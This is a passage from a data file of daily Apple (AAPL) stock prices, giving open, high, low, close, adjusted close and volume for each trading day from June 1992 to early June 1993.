-1992-06-05,1.9553571939468384,1.9732142686843872,1.9375,1.9598214626312256,1.634362816810608,28182000.0,AAPL -1992-06-08,1.9642857313156128,1.9642857313156128,1.9285714626312256,1.9375,1.6157485246658325,26084800.0,AAPL -1992-06-09,1.9375,1.9375,1.9107142686843872,1.9285714626312256,1.608302354812622,25320400.0,AAPL -1992-06-10,1.9285714626312256,1.9553571939468384,1.9107142686843872,1.9196428060531616,1.6008564233779907,31651200.0,AAPL -1992-06-11,1.9196428060531616,1.9375,1.9107142686843872,1.9241071939468384,1.604579210281372,35128800.0,AAPL -1992-06-12,1.9464285373687744,1.9642857313156128,1.9375,1.9508928060531616,1.6269168853759766,24127600.0,AAPL -1992-06-15,1.9285714626312256,1.9285714626312256,1.875,1.8794642686843872,1.5673503875732422,47297600.0,AAPL -1992-06-16,1.8482142686843872,1.8571428060531616,1.7410714626312256,1.7589285373687744,1.466831088066101,91338800.0,AAPL -1992-06-17,1.75,1.7589285373687744,1.6785714626312256,1.6964285373687744,1.4147104024887085,76062000.0,AAPL -1992-06-18,1.6964285373687744,1.75,1.5982142686843872,1.6160714626312256,1.3476977348327637,108430000.0,AAPL -1992-06-19,1.6428571939468384,1.6428571939468384,1.5625,1.5982142686843872,1.3328062295913696,106859200.0,AAPL -1992-06-22,1.5714285373687744,1.5982142686843872,1.5267857313156128,1.5803571939468384,1.3179144859313965,97484800.0,AAPL -1992-06-23,1.6071428060531616,1.625,1.5892857313156128,1.6160714626312256,1.3476977348327637,77887600.0,AAPL -1992-06-24,1.625,1.6428571939468384,1.6160714626312256,1.6428571939468384,1.3700355291366577,52766000.0,AAPL -1992-06-25,1.6607142686843872,1.6607142686843872,1.6160714626312256,1.6294642686843872,1.3588663339614868,40152000.0,AAPL -1992-06-26,1.6339285373687744,1.6428571939468384,1.5892857313156128,1.6160714626312256,1.3476977348327637,27591200.0,AAPL -1992-06-29,1.6339285373687744,1.6830357313156128,1.6160714626312256,1.6696428060531616,1.392372488975525,47107200.0,AAPL -1992-06-30,1.6696428060531616,1.7232142686843872,1.6607142686843872,1.7142857313156128,1.429602026939392,48336400.0,AAPL -1992-07-01,1.7142857313156128,1.7678571939468384,1.7053571939468384,1.75,1.4593855142593384,35882000.0,AAPL -1992-07-02,1.75,1.75,1.6339285373687744,1.6517857313156128,1.3774813413619995,64162000.0,AAPL -1992-07-06,1.6607142686843872,1.6696428060531616,1.625,1.6517857313156128,1.3774813413619995,30500400.0,AAPL -1992-07-07,1.6517857313156128,1.6517857313156128,1.5535714626312256,1.5803571939468384,1.3179144859313965,51772000.0,AAPL -1992-07-08,1.5714285373687744,1.6339285373687744,1.5714285373687744,1.6339285373687744,1.3625898361206055,48988800.0,AAPL -1992-07-09,1.6428571939468384,1.6607142686843872,1.6339285373687744,1.6383928060531616,1.3663126230239868,41448400.0,AAPL -1992-07-10,1.6428571939468384,1.6517857313156128,1.6026785373687744,1.6339285373687744,1.3625898361206055,35949200.0,AAPL -1992-07-13,1.6339285373687744,1.6830357313156128,1.6160714626312256,1.6785714626312256,1.3998184204101562,31390800.0,AAPL -1992-07-14,1.6785714626312256,1.7142857313156128,1.6785714626312256,1.6964285373687744,1.4147104024887085,31497200.0,AAPL -1992-07-15,1.6964285373687744,1.75,1.6875,1.7142857313156128,1.429602026939392,43615600.0,AAPL -1992-07-16,1.7053571939468384,1.75,1.6875,1.7410714626312256,1.4519398212432861,34949600.0,AAPL -1992-07-17,1.6071428060531616,1.6428571939468384,1.59375,1.6071428060531616,1.3402522802352905,105910000.0,AAPL -1992-07-20,1.5982142686843872,1.6160714626312256,1.5714285373687744,1.5982142686843872,1.3328062295913696,48031200.0,AAPL -1992-07-21,1.625,1.6517857313156128,1.6071428060531616,1.6339285373687744,1.3625898361206055,32986800.0,AAPL -1992-07-22,1.6160714626312256,1.625,1.5714285373687744,1.5803571939468384,1.3179144859313965,40493600.0,AAPL -1992-07-23,1.5892857313156128,1.5982142686843872,1.5625,1.5982142686843872,1.3328062295913696,42879200.0,AAPL -1992-07-24,1.5892857313156128,1.6517857313156128,1.5714285373687744,1.6383928060531616,1.3663126230239868,33742800.0,AAPL -1992-07-27,1.6339285373687744,1.6607142686843872,1.6160714626312256,1.6160714626312256,1.3476977348327637,599200.0,AAPL -1992-07-28,1.625,1.6607142686843872,1.6160714626312256,1.6607142686843872,1.3849269151687622,33560800.0,AAPL -1992-07-29,1.6651785373687744,1.7053571939468384,1.6607142686843872,1.6875,1.4072647094726562,62692000.0,AAPL -1992-07-30,1.6875,1.6964285373687744,1.6696428060531616,1.6875,1.4072647094726562,34473600.0,AAPL -1992-07-31,1.6875,1.6964285373687744,1.6696428060531616,1.6696428060531616,1.392372488975525,22677200.0,AAPL -1992-08-03,1.6696428060531616,1.6875,1.625,1.6339285373687744,1.3625898361206055,17136000.0,AAPL -1992-08-04,1.6071428060531616,1.6339285373687744,1.5982142686843872,1.625,1.3551437854766846,29929200.0,AAPL -1992-08-05,1.625,1.625,1.5892857313156128,1.5982142686843872,1.3328062295913696,34815200.0,AAPL -1992-08-06,1.5803571939468384,1.5892857313156128,1.5267857313156128,1.5714285373687744,1.3104684352874756,64492400.0,AAPL -1992-08-07,1.5,1.5625,1.4821428060531616,1.5491071939468384,1.2918541431427002,54790400.0,AAPL -1992-08-10,1.5446428060531616,1.5892857313156128,1.5357142686843872,1.5758928060531616,1.314191460609436,22862000.0,AAPL -1992-08-11,1.5892857313156128,1.5892857313156128,1.5357142686843872,1.5535714626312256,1.2955764532089233,30326800.0,AAPL -1992-08-12,1.5625,1.5803571939468384,1.5446428060531616,1.5758928060531616,1.314191460609436,30346400.0,AAPL -1992-08-13,1.5892857313156128,1.625,1.5803571939468384,1.5982142686843872,1.3328062295913696,42747600.0,AAPL -1992-08-14,1.6071428060531616,1.6160714626312256,1.5892857313156128,1.5982142686843872,1.3328062295913696,34025600.0,AAPL -1992-08-17,1.5803571939468384,1.5982142686843872,1.5625,1.5982142686843872,1.3363933563232422,32177600.0,AAPL -1992-08-18,1.5892857313156128,1.6160714626312256,1.5892857313156128,1.5982142686843872,1.3363933563232422,28078400.0,AAPL -1992-08-19,1.59375,1.6160714626312256,1.5892857313156128,1.5892857313156128,1.3289273977279663,42635600.0,AAPL -1992-08-20,1.5982142686843872,1.6071428060531616,1.5803571939468384,1.5982142686843872,1.3363933563232422,27227200.0,AAPL -1992-08-21,1.5982142686843872,1.6160714626312256,1.5714285373687744,1.59375,1.3326605558395386,27367200.0,AAPL -1992-08-24,1.5803571939468384,1.5982142686843872,1.5446428060531616,1.5446428060531616,1.2915983200073242,38043600.0,AAPL -1992-08-25,1.5446428060531616,1.5892857313156128,1.5446428060531616,1.5848214626312256,1.3251947164535522,33090400.0,AAPL -1992-08-26,1.5803571939468384,1.5892857313156128,1.5446428060531616,1.5803571939468384,1.3214614391326904,30265200.0,AAPL -1992-08-27,1.5982142686843872,1.6116071939468384,1.5803571939468384,1.5892857313156128,1.3289273977279663,20686400.0,AAPL -1992-08-28,1.5803571939468384,1.6160714626312256,1.5714285373687744,1.6071428060531616,1.3438591957092285,15310400.0,AAPL -1992-08-31,1.6071428060531616,1.6517857313156128,1.5982142686843872,1.6428571939468384,1.3737229108810425,30279200.0,AAPL -1992-09-01,1.6517857313156128,1.6607142686843872,1.6339285373687744,1.6607142686843872,1.3886544704437256,15072400.0,AAPL -1992-09-02,1.6607142686843872,1.7410714626312256,1.6607142686843872,1.7321428060531616,1.448380947113037,47474000.0,AAPL -1992-09-03,1.75,1.7589285373687744,1.7053571939468384,1.7053571939468384,1.4259839057922363,52964800.0,AAPL -1992-09-04,1.7232142686843872,1.7232142686843872,1.6696428060531616,1.6875,1.4110525846481323,15808800.0,AAPL -1992-09-08,1.6696428060531616,1.7142857313156128,1.6607142686843872,1.7053571939468384,1.4259839057922363,17500000.0,AAPL -1992-09-09,1.7142857313156128,1.7589285373687744,1.7053571939468384,1.75,1.4633135795593262,39300800.0,AAPL -1992-09-10,1.7142857313156128,1.7678571939468384,1.6964285373687744,1.7589285373687744,1.4707789421081543,57044400.0,AAPL -1992-09-11,1.75,1.7589285373687744,1.6964285373687744,1.7008928060531616,1.4222508668899536,44970800.0,AAPL -1992-09-14,1.75,1.7857142686843872,1.7321428060531616,1.7678571939468384,1.4782453775405884,53670400.0,AAPL -1992-09-15,1.7589285373687744,1.7589285373687744,1.7053571939468384,1.7232142686843872,1.4409160614013672,54630800.0,AAPL -1992-09-16,1.7053571939468384,1.7232142686843872,1.6607142686843872,1.6785714626312256,1.4035861492156982,44679600.0,AAPL -1992-09-17,1.6875,1.6875,1.6205357313156128,1.6428571939468384,1.3737229108810425,43108800.0,AAPL -1992-09-18,1.6339285373687744,1.6741071939468384,1.6160714626312256,1.6607142686843872,1.3886544704437256,28901600.0,AAPL -1992-09-21,1.6696428060531616,1.7053571939468384,1.6517857313156128,1.6607142686843872,1.3886544704437256,22419600.0,AAPL -1992-09-22,1.6696428060531616,1.6696428060531616,1.6160714626312256,1.6339285373687744,1.3662570714950562,27885200.0,AAPL -1992-09-23,1.6428571939468384,1.6964285373687744,1.625,1.6964285373687744,1.418517827987671,30993200.0,AAPL -1992-09-24,1.6875,1.7053571939468384,1.6517857313156128,1.6517857313156128,1.3811888694763184,31413200.0,AAPL -1992-09-25,1.6517857313156128,1.6607142686843872,1.6160714626312256,1.625,1.3587909936904907,34367200.0,AAPL -1992-09-28,1.6071428060531616,1.6071428060531616,1.5625,1.5982142686843872,1.3363933563232422,37380000.0,AAPL -1992-09-29,1.5892857313156128,1.625,1.5714285373687744,1.6026785373687744,1.340126395225525,39317600.0,AAPL -1992-09-30,1.6071428060531616,1.625,1.5892857313156128,1.6116071939468384,1.3475921154022217,25012400.0,AAPL -1992-10-01,1.5982142686843872,1.6116071939468384,1.5803571939468384,1.5803571939468384,1.3214614391326904,30682400.0,AAPL -1992-10-02,1.5892857313156128,1.5982142686843872,1.5357142686843872,1.5625,1.3065297603607178,28386400.0,AAPL -1992-10-05,1.5446428060531616,1.5625,1.4821428060531616,1.5535714626312256,1.2990635633468628,66239600.0,AAPL -1992-10-06,1.5625,1.6071428060531616,1.5267857313156128,1.5982142686843872,1.3363933563232422,28361200.0,AAPL -1992-10-07,1.6071428060531616,1.6160714626312256,1.5535714626312256,1.5625,1.3065297603607178,28327600.0,AAPL -1992-10-08,1.5714285373687744,1.5803571939468384,1.5357142686843872,1.5535714626312256,1.2990635633468628,31743600.0,AAPL -1992-10-09,1.5535714626312256,1.5714285373687744,1.5357142686843872,1.5491071939468384,1.2953310012817383,14686000.0,AAPL -1992-10-12,1.5446428060531616,1.5803571939468384,1.5446428060531616,1.5714285373687744,1.3139954805374146,17908800.0,AAPL -1992-10-13,1.5982142686843872,1.6428571939468384,1.5714285373687744,1.6205357313156128,1.355057716369629,36794800.0,AAPL -1992-10-14,1.6160714626312256,1.6517857313156128,1.6071428060531616,1.6428571939468384,1.3737229108810425,23931600.0,AAPL -1992-10-15,1.6339285373687744,1.6428571939468384,1.6160714626312256,1.625,1.3587909936904907,18855200.0,AAPL -1992-10-16,1.6696428060531616,1.7678571939468384,1.6607142686843872,1.75,1.4633135795593262,112837200.0,AAPL -1992-10-19,1.75,1.7589285373687744,1.7321428060531616,1.75,1.4633135795593262,49011200.0,AAPL -1992-10-20,1.75,1.7857142686843872,1.7321428060531616,1.7544642686843872,1.4670466184616089,71811600.0,AAPL -1992-10-21,1.7589285373687744,1.7678571939468384,1.7142857313156128,1.7321428060531616,1.448380947113037,28562800.0,AAPL -1992-10-22,1.7321428060531616,1.7589285373687744,1.7232142686843872,1.7410714626312256,1.4558475017547607,21117600.0,AAPL -1992-10-23,1.7589285373687744,1.7678571939468384,1.7232142686843872,1.7410714626312256,1.4558475017547607,22856400.0,AAPL -1992-10-26,1.7410714626312256,1.8392857313156128,1.7321428060531616,1.8392857313156128,1.5379718542099,62672400.0,AAPL -1992-10-27,1.8392857313156128,1.875,1.8214285373687744,1.8392857313156128,1.5379718542099,52990000.0,AAPL -1992-10-28,1.8303571939468384,1.8839285373687744,1.8125,1.8660714626312256,1.5603700876235962,49148400.0,AAPL -1992-10-29,1.8660714626312256,1.9285714626312256,1.8392857313156128,1.9017857313156128,1.590233325958252,53474400.0,AAPL -1992-10-30,1.9107142686843872,1.9107142686843872,1.8571428060531616,1.875,1.5678353309631348,32457600.0,AAPL -1992-11-02,1.875,1.8839285373687744,1.8482142686843872,1.8660714626312256,1.5603700876235962,42523600.0,AAPL -1992-11-03,1.875,1.875,1.8392857313156128,1.8571428060531616,1.5529041290283203,28187600.0,AAPL -1992-11-04,1.8571428060531616,1.8839285373687744,1.8571428060531616,1.875,1.5678353309631348,35490000.0,AAPL -1992-11-05,1.875,1.9642857313156128,1.875,1.9642857313156128,1.6424946784973145,74513600.0,AAPL -1992-11-06,1.9553571939468384,2.017857074737549,1.9553571939468384,1.9910714626312256,1.6648919582366943,65993200.0,AAPL -1992-11-09,2.0,2.0,1.9553571939468384,1.9732142686843872,1.6499607563018799,28232400.0,AAPL -1992-11-10,1.9642857313156128,2.017857074737549,1.9553571939468384,2.0089285373687744,1.6798243522644043,30556400.0,AAPL -1992-11-11,2.017857074737549,2.080357074737549,2.0089285373687744,2.0267856121063232,1.6947557926177979,35106400.0,AAPL -1992-11-12,2.0357143878936768,2.0535714626312256,2.013392925262451,2.03125,1.6984890699386597,26899600.0,AAPL -1992-11-13,2.0357143878936768,2.044642925262451,2.0,2.0089285373687744,1.6798243522644043,21187600.0,AAPL -1992-11-16,2.0089285373687744,2.0625,2.0,2.049107074737549,1.7134205102920532,16886800.0,AAPL -1992-11-17,2.044642925262451,2.0535714626312256,1.9598214626312256,1.9732142686843872,1.6499607563018799,42201600.0,AAPL -1992-11-18,2.0,2.080357074737549,1.9821428060531616,2.0625,1.7246196269989014,76202000.0,AAPL -1992-11-19,2.0625,2.125,2.0625,2.080357074737549,1.739551305770874,60135600.0,AAPL -1992-11-20,2.0892856121063232,2.0982143878936768,2.0357143878936768,2.0535714626312256,1.7171533107757568,38872400.0,AAPL -1992-11-23,2.017857074737549,2.0357143878936768,2.0089285373687744,2.0267856121063232,1.6947557926177979,38180800.0,AAPL -1992-11-24,2.0357143878936768,2.0535714626312256,2.017857074737549,2.0535714626312256,1.7171533107757568,39205600.0,AAPL -1992-11-25,2.0357143878936768,2.044642925262451,2.0,2.017857074737549,1.6872899532318115,29335600.0,AAPL -1992-11-27,2.017857074737549,2.044642925262451,2.0089285373687744,2.017857074737549,1.6872899532318115,11799200.0,AAPL -1992-11-30,2.0089285373687744,2.0535714626312256,1.9866071939468384,2.0535714626312256,1.7208118438720703,40126800.0,AAPL -1992-12-01,2.044642925262451,2.107142925262451,2.0267856121063232,2.080357074737549,1.7432575225830078,32536000.0,AAPL -1992-12-02,2.080357074737549,2.0892856121063232,2.0357143878936768,2.044642925262451,1.7133301496505737,24444000.0,AAPL -1992-12-03,2.017857074737549,2.0580356121063232,2.0044643878936768,2.0535714626312256,1.7208118438720703,46897200.0,AAPL -1992-12-04,2.044642925262451,2.0535714626312256,2.017857074737549,2.03125,1.7021080255508423,23945600.0,AAPL -1992-12-07,2.0267856121063232,2.0625,2.0267856121063232,2.0625,1.728294014930725,36055600.0,AAPL -1992-12-08,2.0625,2.0982143878936768,2.0625,2.075892925262451,1.7395164966583252,49159600.0,AAPL -1992-12-09,2.0625,2.0714285373687744,2.044642925262451,2.0580356121063232,1.7245535850524902,39852400.0,AAPL -1992-12-10,2.044642925262451,2.0580356121063232,2.017857074737549,2.044642925262451,1.7133301496505737,35047600.0,AAPL -1992-12-11,2.044642925262451,2.080357074737549,2.044642925262451,2.0535714626312256,1.7208118438720703,30046800.0,AAPL -1992-12-14,2.0535714626312256,2.0625,2.0267856121063232,2.044642925262451,1.7133301496505737,27627600.0,AAPL -1992-12-15,2.0267856121063232,2.0357143878936768,1.9821428060531616,2.013392925262451,1.6871439218521118,45634400.0,AAPL -1992-12-16,2.0089285373687744,2.0357143878936768,1.9464285373687744,1.9642857313156128,1.6459941864013672,56481600.0,AAPL -1992-12-17,1.9732142686843872,2.0535714626312256,1.9732142686843872,2.03125,1.7021080255508423,58466800.0,AAPL -1992-12-18,2.0535714626312256,2.1160714626312256,2.044642925262451,2.080357074737549,1.7432575225830078,58864400.0,AAPL -1992-12-21,2.080357074737549,2.142857074737549,2.0714285373687744,2.1294643878936768,1.7844070196151733,64016400.0,AAPL -1992-12-22,2.1339285373687744,2.1875,2.1339285373687744,2.1651785373687744,1.8143339157104492,70042000.0,AAPL -1992-12-23,2.1517856121063232,2.1607143878936768,2.1160714626312256,2.1339285373687744,1.788148283958435,28084000.0,AAPL -1992-12-24,2.142857074737549,2.142857074737549,2.107142925262451,2.107142925262451,1.7657028436660767,11491200.0,AAPL -1992-12-28,2.1160714626312256,2.1339285373687744,2.1160714626312256,2.125,1.7806663513183594,17612000.0,AAPL -1992-12-29,2.125,2.169642925262451,2.125,2.1294643878936768,1.7844070196151733,29069600.0,AAPL -1992-12-30,2.1339285373687744,2.1339285373687744,2.0982143878936768,2.0982143878936768,1.758220911026001,25146800.0,AAPL -1992-12-31,2.0982143878936768,2.142857074737549,2.0982143878936768,2.1339285373687744,1.788148283958435,23058000.0,AAPL -1993-01-04,2.125,2.142857074737549,2.0625,2.080357074737549,1.7432575225830078,32284000.0,AAPL -1993-01-05,2.0714285373687744,2.1160714626312256,2.044642925262451,2.1160714626312256,1.773184061050415,46564000.0,AAPL -1993-01-06,2.169642925262451,2.2142856121063232,2.1607143878936768,2.205357074737549,1.848002314567566,70350000.0,AAPL -1993-01-07,2.205357074737549,2.232142925262451,2.1651785373687744,2.1785714626312256,1.8255566358566284,68034400.0,AAPL -1993-01-08,2.169642925262451,2.25,2.1339285373687744,2.2232143878936768,1.8629659414291382,80234000.0,AAPL -1993-01-11,2.2142856121063232,2.299107074737549,2.205357074737549,2.2901785373687744,1.919079065322876,68432000.0,AAPL -1993-01-12,2.2410714626312256,2.2767856121063232,2.1964285373687744,2.1964285373687744,1.8405205011367798,86539600.0,AAPL -1993-01-13,2.1964285373687744,2.2857143878936768,2.1875,2.267857074737549,1.9003751277923584,49910000.0,AAPL -1993-01-14,2.2857143878936768,2.330357074737549,2.2767856121063232,2.3214285373687744,1.945265769958496,91952000.0,AAPL -1993-01-15,2.1785714626312256,2.2232143878936768,2.142857074737549,2.1517856121063232,1.8031115531921387,225657600.0,AAPL -1993-01-18,2.125,2.142857074737549,2.0714285373687744,2.125,1.7806663513183594,83409200.0,AAPL -1993-01-19,2.1339285373687744,2.1607143878936768,2.1160714626312256,2.1339285373687744,1.788148283958435,68510400.0,AAPL -1993-01-20,2.1339285373687744,2.1517856121063232,2.125,2.142857074737549,1.7956300973892212,39684400.0,AAPL -1993-01-21,2.1339285373687744,2.1517856121063232,2.0982143878936768,2.142857074737549,1.7956300973892212,46104800.0,AAPL -1993-01-22,2.1517856121063232,2.1517856121063232,2.107142925262451,2.125,1.7806663513183594,36736000.0,AAPL -1993-01-25,2.1160714626312256,2.1607143878936768,2.1160714626312256,2.142857074737549,1.7956300973892212,50568000.0,AAPL -1993-01-26,2.1607143878936768,2.2142856121063232,2.1607143878936768,2.169642925262451,1.8180749416351318,71405600.0,AAPL -1993-01-27,2.1785714626312256,2.205357074737549,2.0982143878936768,2.1517856121063232,1.8031115531921387,56655200.0,AAPL -1993-01-28,2.142857074737549,2.1517856121063232,2.1160714626312256,2.138392925262451,1.7918894290924072,46009600.0,AAPL -1993-01-29,2.1517856121063232,2.1875,2.107142925262451,2.125,1.7806663513183594,66525200.0,AAPL -1993-02-01,2.1160714626312256,2.1875,2.1160714626312256,2.1875,1.83303964138031,60138400.0,AAPL -1993-02-02,2.169642925262451,2.1964285373687744,2.1517856121063232,2.1517856121063232,1.8031115531921387,45584000.0,AAPL -1993-02-03,2.1785714626312256,2.1785714626312256,2.0892856121063232,2.142857074737549,1.7956300973892212,66046400.0,AAPL -1993-02-04,2.142857074737549,2.1517856121063232,2.107142925262451,2.125,1.7806663513183594,52038000.0,AAPL -1993-02-05,2.1160714626312256,2.125,2.0089285373687744,2.044642925262451,1.7133301496505737,91904400.0,AAPL -1993-02-08,2.0357143878936768,2.0535714626312256,1.9821428060531616,2.017857074737549,1.6908848285675049,70268800.0,AAPL -1993-02-09,2.0357143878936768,2.049107074737549,2.017857074737549,2.03125,1.7021080255508423,59665200.0,AAPL -1993-02-10,2.0357143878936768,2.044642925262451,1.9642857313156128,1.9910714626312256,1.6684390306472778,67071200.0,AAPL -1993-02-11,1.9910714626312256,2.0089285373687744,1.9642857313156128,1.96875,1.6497350931167603,42067200.0,AAPL -1993-02-12,1.9642857313156128,1.9821428060531616,1.9196428060531616,1.9241071939468384,1.6158467531204224,68849200.0,AAPL -1993-02-16,1.9107142686843872,1.9107142686843872,1.8392857313156128,1.8928571939468384,1.5896034240722656,101934000.0,AAPL -1993-02-17,1.9017857313156128,1.9285714626312256,1.8571428060531616,1.9241071939468384,1.6158467531204224,62395200.0,AAPL -1993-02-18,1.9642857313156128,1.9732142686843872,1.9107142686843872,1.9642857313156128,1.649588704109192,70030800.0,AAPL -1993-02-19,1.9732142686843872,1.9821428060531616,1.9553571939468384,1.9642857313156128,1.649588704109192,44450000.0,AAPL -1993-02-22,1.9642857313156128,2.0,1.9553571939468384,1.96875,1.6533377170562744,24690400.0,AAPL -1993-02-23,1.9642857313156128,1.9732142686843872,1.9285714626312256,1.9375,1.6270943880081177,48518400.0,AAPL -1993-02-24,1.8616071939468384,1.9241071939468384,1.8616071939468384,1.9151785373687744,1.6083488464355469,71640800.0,AAPL -1993-02-25,1.9017857313156128,1.9553571939468384,1.9017857313156128,1.9553571939468384,1.6420905590057373,41806800.0,AAPL -1993-02-26,1.9375,1.9375,1.8660714626312256,1.8928571939468384,1.5896034240722656,73721200.0,AAPL -1993-03-01,1.8928571939468384,1.9107142686843872,1.8839285373687744,1.9017857313156128,1.5971015691757202,29825600.0,AAPL -1993-03-02,1.8928571939468384,1.9464285373687744,1.8928571939468384,1.9375,1.6270943880081177,36923600.0,AAPL -1993-03-03,1.9285714626312256,1.9642857313156128,1.9017857313156128,1.9508928060531616,1.6383410692214966,50674400.0,AAPL -1993-03-04,1.9464285373687744,1.9732142686843872,1.9107142686843872,1.9642857313156128,1.649588704109192,47084800.0,AAPL -1993-03-05,1.9553571939468384,1.9910714626312256,1.9553571939468384,1.9642857313156128,1.649588704109192,27904800.0,AAPL -1993-03-08,1.9642857313156128,2.0267856121063232,1.9642857313156128,2.017857074737549,1.6945772171020508,44251200.0,AAPL -1993-03-09,2.017857074737549,2.0535714626312256,2.017857074737549,2.0267856121063232,1.7020756006240845,38707200.0,AAPL -1993-03-10,2.0267856121063232,2.044642925262451,2.0,2.0267856121063232,1.7020756006240845,33124000.0,AAPL -1993-03-11,2.0357143878936768,2.044642925262451,2.0089285373687744,2.03125,1.705824851989746,36153600.0,AAPL -1993-03-12,2.0267856121063232,2.0267856121063232,1.9821428060531616,2.0089285373687744,1.6870794296264648,31673600.0,AAPL -1993-03-15,2.0,2.044642925262451,1.9776785373687744,2.0357143878936768,1.7095736265182495,34008800.0,AAPL -1993-03-16,2.044642925262451,2.0625,2.017857074737549,2.017857074737549,1.6945772171020508,25320400.0,AAPL -1993-03-17,2.017857074737549,2.0357143878936768,1.9642857313156128,1.96875,1.6533377170562744,44055200.0,AAPL -1993-03-18,1.9642857313156128,1.9866071939468384,1.9464285373687744,1.9464285373687744,1.6345924139022827,26546800.0,AAPL -1993-03-19,1.9642857313156128,1.9732142686843872,1.9107142686843872,1.9196428060531616,1.6120976209640503,38525200.0,AAPL -1993-03-22,1.9107142686843872,1.9241071939468384,1.8839285373687744,1.9017857313156128,1.5971015691757202,41300000.0,AAPL -1993-03-23,1.9017857313156128,1.9285714626312256,1.8794642686843872,1.8839285373687744,1.5821055173873901,25634000.0,AAPL -1993-03-24,1.8839285373687744,1.9375,1.875,1.9196428060531616,1.6120976209640503,35767200.0,AAPL -1993-03-25,1.9196428060531616,1.9553571939468384,1.9107142686843872,1.9553571939468384,1.6420905590057373,42761600.0,AAPL -1993-03-26,1.9553571939468384,1.9553571939468384,1.875,1.9017857313156128,1.5971015691757202,37940000.0,AAPL -1993-03-29,1.8660714626312256,1.875,1.8125,1.8214285373687744,1.5296188592910767,65427600.0,AAPL -1993-03-30,1.8258928060531616,1.8660714626312256,1.7946428060531616,1.8660714626312256,1.567109227180481,66012800.0,AAPL -1993-03-31,1.875,1.8839285373687744,1.8303571939468384,1.8392857313156128,1.5446144342422485,55759200.0,AAPL -1993-04-01,1.8303571939468384,1.8571428060531616,1.8214285373687744,1.8482142686843872,1.5521129369735718,27050800.0,AAPL -1993-04-02,1.8035714626312256,1.8303571939468384,1.7678571939468384,1.7901785373687744,1.5033749341964722,63448000.0,AAPL -1993-04-05,1.7857142686843872,1.8035714626312256,1.7678571939468384,1.7857142686843872,1.4996261596679688,37293200.0,AAPL -1993-04-06,1.7857142686843872,1.7946428060531616,1.7410714626312256,1.7410714626312256,1.4621351957321167,42092400.0,AAPL -1993-04-07,1.75,1.8125,1.7321428060531616,1.8035714626312256,1.5146219730377197,40712000.0,AAPL -1993-04-08,1.7857142686843872,1.8035714626312256,1.75,1.7767857313156128,1.492127776145935,40857600.0,AAPL -1993-04-12,1.7678571939468384,1.8214285373687744,1.7678571939468384,1.7857142686843872,1.4996261596679688,23262400.0,AAPL -1993-04-13,1.8035714626312256,1.8303571939468384,1.7232142686843872,1.7321428060531616,1.4546366930007935,41120800.0,AAPL -1993-04-14,1.7232142686843872,1.7410714626312256,1.7008928060531616,1.7410714626312256,1.4621351957321167,42515200.0,AAPL -1993-04-15,1.7232142686843872,1.7232142686843872,1.6696428060531616,1.6875,1.4171468019485474,54675600.0,AAPL -1993-04-16,1.7232142686843872,1.7410714626312256,1.6919642686843872,1.71875,1.443389654159546,171698800.0,AAPL -1993-04-19,1.7321428060531616,1.7678571939468384,1.7232142686843872,1.7321428060531616,1.4546366930007935,56966000.0,AAPL -1993-04-20,1.7410714626312256,1.7946428060531616,1.7232142686843872,1.7857142686843872,1.4996261596679688,60012400.0,AAPL -1993-04-21,1.7946428060531616,1.8125,1.7589285373687744,1.7723214626312256,1.488378882408142,51318400.0,AAPL -1993-04-22,1.7589285373687744,1.8035714626312256,1.75,1.7857142686843872,1.4996261596679688,39418400.0,AAPL -1993-04-23,1.7767857313156128,1.7946428060531616,1.7410714626312256,1.7589285373687744,1.4771312475204468,33535600.0,AAPL -1993-04-26,1.7589285373687744,1.7767857313156128,1.7321428060531616,1.75,1.46963369846344,25701200.0,AAPL -1993-04-27,1.7410714626312256,1.7946428060531616,1.7410714626312256,1.7946428060531616,1.5071243047714233,32418400.0,AAPL -1993-04-28,1.7767857313156128,1.8571428060531616,1.7767857313156128,1.8348214626312256,1.5408660173416138,40810000.0,AAPL -1993-04-29,1.8392857313156128,1.8482142686843872,1.7901785373687744,1.8125,1.522120475769043,20610800.0,AAPL -1993-04-30,1.8125,1.875,1.8125,1.8303571939468384,1.5371168851852417,33084800.0,AAPL -1993-05-03,1.8303571939468384,1.8571428060531616,1.8214285373687744,1.8526785373687744,1.5558618307113647,16296000.0,AAPL -1993-05-04,1.8660714626312256,1.9375,1.8571428060531616,1.90625,1.6008509397506714,42705600.0,AAPL -1993-05-05,1.8928571939468384,1.9821428060531616,1.8928571939468384,1.9464285373687744,1.6345924139022827,63266000.0,AAPL -1993-05-06,1.9464285373687744,1.9553571939468384,1.9107142686843872,1.9196428060531616,1.6120976209640503,17614800.0,AAPL -1993-05-07,1.9107142686843872,1.9553571939468384,1.9107142686843872,1.9553571939468384,1.6420905590057373,20473600.0,AAPL -1993-05-10,1.9642857313156128,1.9955357313156128,1.9642857313156128,1.9642857313156128,1.649588704109192,34482000.0,AAPL -1993-05-11,1.9642857313156128,1.9732142686843872,1.9285714626312256,1.9464285373687744,1.6345924139022827,39594800.0,AAPL -1993-05-12,1.9375,1.9553571939468384,1.8928571939468384,1.9017857313156128,1.5971015691757202,26306000.0,AAPL -1993-05-13,1.9107142686843872,1.9910714626312256,1.9107142686843872,1.9821428060531616,1.664584755897522,90431600.0,AAPL -1993-05-14,1.9732142686843872,2.0,1.9642857313156128,1.9821428060531616,1.664584755897522,29352400.0,AAPL -1993-05-17,1.9821428060531616,2.0,1.9642857313156128,1.9910714626312256,1.6720824241638184,17410400.0,AAPL -1993-05-18,1.9821428060531616,2.0089285373687744,1.9642857313156128,1.9821428060531616,1.664584755897522,40868800.0,AAPL -1993-05-19,1.9553571939468384,2.0535714626312256,1.9464285373687744,2.044642925262451,1.717071771621704,43192800.0,AAPL -1993-05-20,2.044642925262451,2.107142925262451,2.044642925262451,2.0982143878936768,1.762060523033142,72632000.0,AAPL -1993-05-21,2.0982143878936768,2.111607074737549,2.0267856121063232,2.0535714626312256,1.7245697975158691,37049600.0,AAPL -1993-05-24,2.0267856121063232,2.0982143878936768,2.0267856121063232,2.0580356121063232,1.7283196449279785,37578800.0,AAPL -1993-05-25,2.0267856121063232,2.0535714626312256,1.9910714626312256,2.013392925262451,1.6908283233642578,45180800.0,AAPL -1993-05-26,2.0,2.0625,1.9776785373687744,2.0625,1.7320681810379028,30391200.0,AAPL -1993-05-27,2.0625,2.0892856121063232,2.044642925262451,2.0535714626312256,1.7245697975158691,49322000.0,AAPL -1993-05-28,2.0357143878936768,2.0535714626312256,2.0089285373687744,2.0223214626312256,1.7018814086914062,45987200.0,AAPL -1993-06-01,2.017857074737549,2.0625,2.017857074737549,2.0357143878936768,1.713152527809143,33768000.0,AAPL -1993-06-02,2.0267856121063232,2.080357074737549,2.0,2.0357143878936768,1.713152527809143,50120000.0,AAPL 